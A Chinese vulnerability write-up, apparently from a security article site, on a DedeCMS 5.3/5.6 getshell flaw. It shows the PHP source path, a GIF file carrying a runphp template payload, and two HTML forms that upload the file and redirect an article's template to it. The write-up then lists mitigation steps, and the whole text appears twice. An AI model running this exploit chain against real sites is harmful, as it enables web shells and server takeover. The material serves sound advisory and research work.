DEDECMS 5.6最新Get Shell漏洞 DEDECMS 5.3/5.6
發(fā)布時(shí)間:2011-08-19 10:46:17 作者:佚名
我要評(píng)論

DedeCms 基于PHP+MySQL的技術(shù)開(kāi)發(fā),支持Windows、Linux、Unix等多種服務(wù)器平臺(tái),從2004年開(kāi)始發(fā)布第一個(gè)版本開(kāi)始,至今已經(jīng)發(fā)布了五個(gè)大版本。
DEDECMS 5.6最新Get Shell漏洞
影響版本: DEDECMS 5.3/5.6
漏洞描述:
DedeCms 基于PHP+MySQL的技術(shù)開(kāi)發(fā),支持Windows、Linux、Unix等多種服務(wù)器平臺(tái),從2004年開(kāi)始發(fā)布第一個(gè)版本開(kāi)始,至今已經(jīng)發(fā)布了五個(gè)大版本。DedeCms以簡(jiǎn)單、健壯、靈活、開(kāi)源幾大特點(diǎn)占領(lǐng)了國(guó)內(nèi)CMS的大部份市場(chǎng),目前已經(jīng)有超過(guò)二十萬(wàn)個(gè)站點(diǎn)正在使用DedeCms或居于 DedeCms核心,是目前國(guó)內(nèi)應(yīng)用最廣泛的php類(lèi)CMS系統(tǒng)。
article_add.php
........................
else if($dopost=='save')
{
include(DEDEMEMBER.'/inc/archives_check.php');
//分析處理附加表數(shù)據(jù)
$inadd_f = $inadd_v = '';
if(!emptyempty($dede_addonfields))
{
$addonfields = explode(';',$dede_addonfields);
............................................ //省略部份代碼
$inadd_f .= ','.$vs[0];
$inadd_v .= " ,'".${$vs[0]}."' ";
}
}
}
..........................................
$addtable = trim($cInfos['addtable']);
if(emptyempty($addtable))
{
......................................
}
else
{
$inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";
if(!$dsql->ExecuteNoneQuery($inquery))
{
..........................................
}
}
..........................................
$artUrl = MakeArt($arcID,true); //利用地方(arc.archives.functions.php有定義)
function MakeArt($aid,$ismakesign=false)
{
global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
include_once(DEDEINC.'/arc.archives.class.php');
if($ismakesign)
{
$envs['makesign'] = 'yes';
}
$arc = new Archives($aid);
$reurl = $arc->MakeHtml(); //arc.archives.class.php有定義
............................
}
arc.archives.class.php
class Archives
{
................
function __construct($aid)
{
............
if($this->ChannelUnit->ChannelInfos['addtable']!='')
{
$query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'";
$this->addTableRow = $this->dsql->GetOne($query);
}
........................
if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
{
if(is_array($this->addTableRow))
{
...............................
$this->Fields['templet'] = $this->addTableRow['templet'];//注意1
......................................
}
}
.............................
}
function MakeHtml($isremote=0)
{
global $cfg_remote_site,$fileFirst;
if($this->IsError)
{
return '';
}
$this->Fields["displaytype"] = "st";
//預(yù)編譯$th
$this->LoadTemplet(); //觸發(fā)1
......................................//省略部份代碼
$this->arseDMFields($i,1);
$this->dtp->SaveTo($truefilename); //觸發(fā)2
......................................
}
繼續(xù)跟(觸發(fā)1)$this->LoadTemplet(); //arc.archives.class.php有定義
function LoadTemplet()
{
if($this->TempSource=='')
{
$tempfile = $this->GetTempletFile(); //注意2
if(!file_exists($tempfile) || !is_file($tempfile))
{
echo "文檔ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}
";
echo "模板文件不存在,無(wú)法解析文檔!";
exit();
}
$this->dtp->LoadTemplate($tempfile); //觸發(fā)3
$this->TempSource = $this->dtp->SourceString;
}
else
{
$this->dtp->LoadSource($this->TempSource);
}
}
看注意2 的$this->GetTempletFile() //arc.archives.class.php有定義
function GetTempletFile()
{
global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
$cid = $this->ChannelUnit->ChannelInfos['nid'];
if(!emptyempty($this->Fields['templet'])) //注意3
{
$filetag = MfTemplet($this->Fields['templet']);
if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
}
else
{
$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
}
.......................................
if($cid=='spec')
{
if( !emptyempty($this->Fields['templet']) )
{
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
}
else
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
}
}
...........................................
return $tmpfile;
}
注意3中的值來(lái)自注意1是通過(guò)查表得來(lái)的,控制了它就等于控制了任意模板,然后通過(guò)觸發(fā)3來(lái)觸發(fā)漏洞
看下怎么控制注意1的值
article_edit.php
......................
else if($dopost=='save')
{ ....................
if(!emptyempty($dede_addonfields))
{
$addonfields = explode(';',$dede_addonfields);
if(is_array($addonfields))
{
........................
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
}
}
...................
if($addtable!='')
{
$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";
if(!$dsql->ExecuteNoneQuery($upQuery))
{..............
}
}
....................
}
$dede_addonfields沒(méi)有過(guò)濾,我們可以構(gòu)造$inadd_f為,templet='上傳的模板圖片地址',包含我們的圖片后,再通過(guò)觸發(fā)2來(lái)生成圖片里的后門(mén)!
本站提供程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險(xiǎn)自負(fù)! Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo(); {/dede:field}
保存為1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" "> 2. <input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" /> 4. <input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" /> 6. <input name="title" type="hidden" id="title" value="1.jpg"
class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/> 8. <button class="button2" type="submit" >更改</button>
</form>
構(gòu)造如上表單,上傳后圖片保存為/uploads/userup/3/1.gif 發(fā)表文章,然后構(gòu)造修改表單如下:
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" /> 3. <input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" /> 5. <input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" /> 7. <input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100"
class="intxt"/> 9. <input type="text" name="writer" id="writer" value="123456" maxlength="100"
class="intxt" style="width:219px"/>
<select name='typeid' size='1'> 11. <option value='1'
class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'> 13. <option value='0' selected>請(qǐng)選擇分類(lèi)...</option>
<option value='1'
class='option3' selected>aa</option></select> 15. <textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet"> 17. <input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> 19. <button class="button2" type="submit">提交</button>
</form>
安全建議:
如果您使用了DedeCMS程序,因目前DedeCMS暫未發(fā)布補(bǔ)丁修復(fù),請(qǐng)立即按如下流程處理:
1.在dedecms的后臺(tái)更新補(bǔ)丁,盡可能升級(jí)為最新版本。
2.data、templets、uploads、install這幾個(gè)目錄用控制面板的“目錄保護(hù)”功能 禁止執(zhí)行權(quán)限 。
3.如果只是使用文章系統(tǒng)并沒(méi)有使用會(huì)員功能,則強(qiáng)推推薦:關(guān)閉會(huì)員功能、關(guān)閉新會(huì)員注冊(cè)、直接刪除member目錄或改名。
4.用dedecms后臺(tái)的“系統(tǒng)”中的文件校驗(yàn)和病毒掃描功能 查殺病毒木馬。
5.檢查有無(wú)/data/cache/t.php 、/data/cache/x.php和/plus/index.php 這些木馬文件,有的話(huà)則應(yīng)立即刪除。
6.用虛擬主機(jī)控制面板中的“查殺病毒 ”功能全面查殺一次。
請(qǐng)及時(shí)關(guān)注dedecms的最新補(bǔ)丁,如果官方出新補(bǔ)丁,則應(yīng)立即更新。
廠商補(bǔ)丁EDECMS------------目前廠商還沒(méi)有提供補(bǔ)丁或者升級(jí)程序,我們建議使用此軟件的用戶(hù)隨時(shí)關(guān)注廠商的主頁(yè)以獲取最新版本:http://www.dedecms.com/
影響版本: DEDECMS 5.3/5.6
漏洞描述:
DedeCms 基于PHP+MySQL的技術(shù)開(kāi)發(fā),支持Windows、Linux、Unix等多種服務(wù)器平臺(tái),從2004年開(kāi)始發(fā)布第一個(gè)版本開(kāi)始,至今已經(jīng)發(fā)布了五個(gè)大版本。DedeCms以簡(jiǎn)單、健壯、靈活、開(kāi)源幾大特點(diǎn)占領(lǐng)了國(guó)內(nèi)CMS的大部份市場(chǎng),目前已經(jīng)有超過(guò)二十萬(wàn)個(gè)站點(diǎn)正在使用DedeCms或居于 DedeCms核心,是目前國(guó)內(nèi)應(yīng)用最廣泛的php類(lèi)CMS系統(tǒng)。
article_add.php
復(fù)制代碼
代碼如下:........................
else if($dopost=='save')
{
include(DEDEMEMBER.'/inc/archives_check.php');
//分析處理附加表數(shù)據(jù)
$inadd_f = $inadd_v = '';
if(!emptyempty($dede_addonfields))
{
$addonfields = explode(';',$dede_addonfields);
............................................ //省略部份代碼
$inadd_f .= ','.$vs[0];
$inadd_v .= " ,'".${$vs[0]}."' ";
}
}
}
..........................................
$addtable = trim($cInfos['addtable']);
if(emptyempty($addtable))
{
......................................
}
else
{
$inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";
if(!$dsql->ExecuteNoneQuery($inquery))
{
..........................................
}
}
..........................................
$artUrl = MakeArt($arcID,true); //利用地方(arc.archives.functions.php有定義)
function MakeArt($aid,$ismakesign=false)
{
global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
include_once(DEDEINC.'/arc.archives.class.php');
if($ismakesign)
{
$envs['makesign'] = 'yes';
}
$arc = new Archives($aid);
$reurl = $arc->MakeHtml(); //arc.archives.class.php有定義
............................
}
arc.archives.class.php
復(fù)制代碼
代碼如下:class Archives
{
................
function __construct($aid)
{
............
if($this->ChannelUnit->ChannelInfos['addtable']!='')
{
$query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'";
$this->addTableRow = $this->dsql->GetOne($query);
}
........................
if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
{
if(is_array($this->addTableRow))
{
...............................
$this->Fields['templet'] = $this->addTableRow['templet'];//注意1
......................................
}
}
.............................
}
function MakeHtml($isremote=0)
{
global $cfg_remote_site,$fileFirst;
if($this->IsError)
{
return '';
}
$this->Fields["displaytype"] = "st";
//預(yù)編譯$th
$this->LoadTemplet(); //觸發(fā)1
......................................//省略部份代碼
$this->arseDMFields($i,1);
$this->dtp->SaveTo($truefilename); //觸發(fā)2
......................................
}
繼續(xù)跟(觸發(fā)1)$this->LoadTemplet(); //arc.archives.class.php有定義
function LoadTemplet()
{
if($this->TempSource=='')
{
$tempfile = $this->GetTempletFile(); //注意2
if(!file_exists($tempfile) || !is_file($tempfile))
{
echo "文檔ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}
";
echo "模板文件不存在,無(wú)法解析文檔!";
exit();
}
$this->dtp->LoadTemplate($tempfile); //觸發(fā)3
$this->TempSource = $this->dtp->SourceString;
}
else
{
$this->dtp->LoadSource($this->TempSource);
}
}
看注意2 的$this->GetTempletFile() //arc.archives.class.php有定義
function GetTempletFile()
{
global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
$cid = $this->ChannelUnit->ChannelInfos['nid'];
if(!emptyempty($this->Fields['templet'])) //注意3
{
$filetag = MfTemplet($this->Fields['templet']);
if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
}
else
{
$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
}
.......................................
if($cid=='spec')
{
if( !emptyempty($this->Fields['templet']) )
{
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
}
else
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
}
}
...........................................
return $tmpfile;
}
注意3中的值來(lái)自注意1是通過(guò)查表得來(lái)的,控制了它就等于控制了任意模板,然后通過(guò)觸發(fā)3來(lái)觸發(fā)漏洞
看下怎么控制注意1的值
article_edit.php
復(fù)制代碼
代碼如下:......................
else if($dopost=='save')
{ ....................
if(!emptyempty($dede_addonfields))
{
$addonfields = explode(';',$dede_addonfields);
if(is_array($addonfields))
{
........................
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
}
}
...................
if($addtable!='')
{
$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";
if(!$dsql->ExecuteNoneQuery($upQuery))
{..............
}
}
....................
}
$dede_addonfields沒(méi)有過(guò)濾,我們可以構(gòu)造$inadd_f為,templet='上傳的模板圖片地址',包含我們的圖片后,再通過(guò)觸發(fā)2來(lái)生成圖片里的后門(mén)!
本站提供程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險(xiǎn)自負(fù)! Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo(); {/dede:field}
保存為1.gif
復(fù)制代碼
代碼如下:<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" "> 2. <input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" /> 4. <input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" /> 6. <input name="title" type="hidden" id="title" value="1.jpg"
class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/> 8. <button class="button2" type="submit" >更改</button>
</form>
構(gòu)造如上表單,上傳后圖片保存為/uploads/userup/3/1.gif 發(fā)表文章,然后構(gòu)造修改表單如下:
復(fù)制代碼
代碼如下:<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" /> 3. <input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" /> 5. <input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" /> 7. <input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100"
class="intxt"/> 9. <input type="text" name="writer" id="writer" value="123456" maxlength="100"
class="intxt" style="width:219px"/>
<select name='typeid' size='1'> 11. <option value='1'
class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'> 13. <option value='0' selected>請(qǐng)選擇分類(lèi)...</option>
<option value='1'
class='option3' selected>aa</option></select> 15. <textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet"> 17. <input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> 19. <button class="button2" type="submit">提交</button>
</form>
安全建議:
如果您使用了DedeCMS程序,因目前DedeCMS暫未發(fā)布補(bǔ)丁修復(fù),請(qǐng)立即按如下流程處理:
1.在dedecms的后臺(tái)更新補(bǔ)丁,盡可能升級(jí)為最新版本。
2.data、templets、uploads、install這幾個(gè)目錄用控制面板的“目錄保護(hù)”功能 禁止執(zhí)行權(quán)限 。
3.如果只是使用文章系統(tǒng)并沒(méi)有使用會(huì)員功能,則強(qiáng)推推薦:關(guān)閉會(huì)員功能、關(guān)閉新會(huì)員注冊(cè)、直接刪除member目錄或改名。
4.用dedecms后臺(tái)的“系統(tǒng)”中的文件校驗(yàn)和病毒掃描功能 查殺病毒木馬。
5.檢查有無(wú)/data/cache/t.php 、/data/cache/x.php和/plus/index.php 這些木馬文件,有的話(huà)則應(yīng)立即刪除。
6.用虛擬主機(jī)控制面板中的“查殺病毒 ”功能全面查殺一次。
請(qǐng)及時(shí)關(guān)注dedecms的最新補(bǔ)丁,如果官方出新補(bǔ)丁,則應(yīng)立即更新。
廠商補(bǔ)丁EDECMS------------目前廠商還沒(méi)有提供補(bǔ)丁或者升級(jí)程序,我們建議使用此軟件的用戶(hù)隨時(shí)關(guān)注廠商的主頁(yè)以獲取最新版本:http://www.dedecms.com/
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來(lái)介紹一下thinkphp官方修復(fù)的一個(gè)getshell漏洞,框架對(duì)控制器沒(méi)有進(jìn)行足夠的檢測(cè)導(dǎo)致的一處getshell,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶(hù)端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
SQL注入黑客防線(xiàn)網(wǎng)站實(shí)例分析
這篇文章主要介紹了SQL注入黑客防線(xiàn)網(wǎng)站實(shí)例分析,需要的朋友可以參考下2017-05-19ASP+PHP 標(biāo)準(zhǔn)sql注入語(yǔ)句(完整版)
這里為大家分享一下sql注入的一些語(yǔ)句,很多情況下由于程序員的安全意識(shí)薄弱或基本功不足就容易導(dǎo)致sql注入安全問(wèn)題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)2017-05-19- 對(duì)于目前流行的sql注入,程序員在編寫(xiě)程序時(shí),都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會(huì)自動(dòng)的記錄下你的IP地址,提交的非法參數(shù)和動(dòng)作等,2017-04-29
XSS繞過(guò)技術(shù) XSS插入繞過(guò)一些方式總結(jié)
我們友情進(jìn)行XSS檢查,偶然跳出個(gè)小彈窗,其中我們總結(jié)了一些平時(shí)可能用到的XSS插入方式,方便我們以后進(jìn)行快速檢查,也提供了一定的思路,其中XSS有反射、存儲(chǔ)、DOM這三類(lèi)2016-12-27Python 爬蟲(chóng)使用動(dòng)態(tài)切換ip防止封殺
這篇文章主要介紹了Python 爬蟲(chóng)使用動(dòng)態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08使用爬蟲(chóng)采集網(wǎng)站時(shí),解決被封IP的幾種方法
這篇文章主要介紹了使用爬蟲(chóng)采集網(wǎng)站時(shí),解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08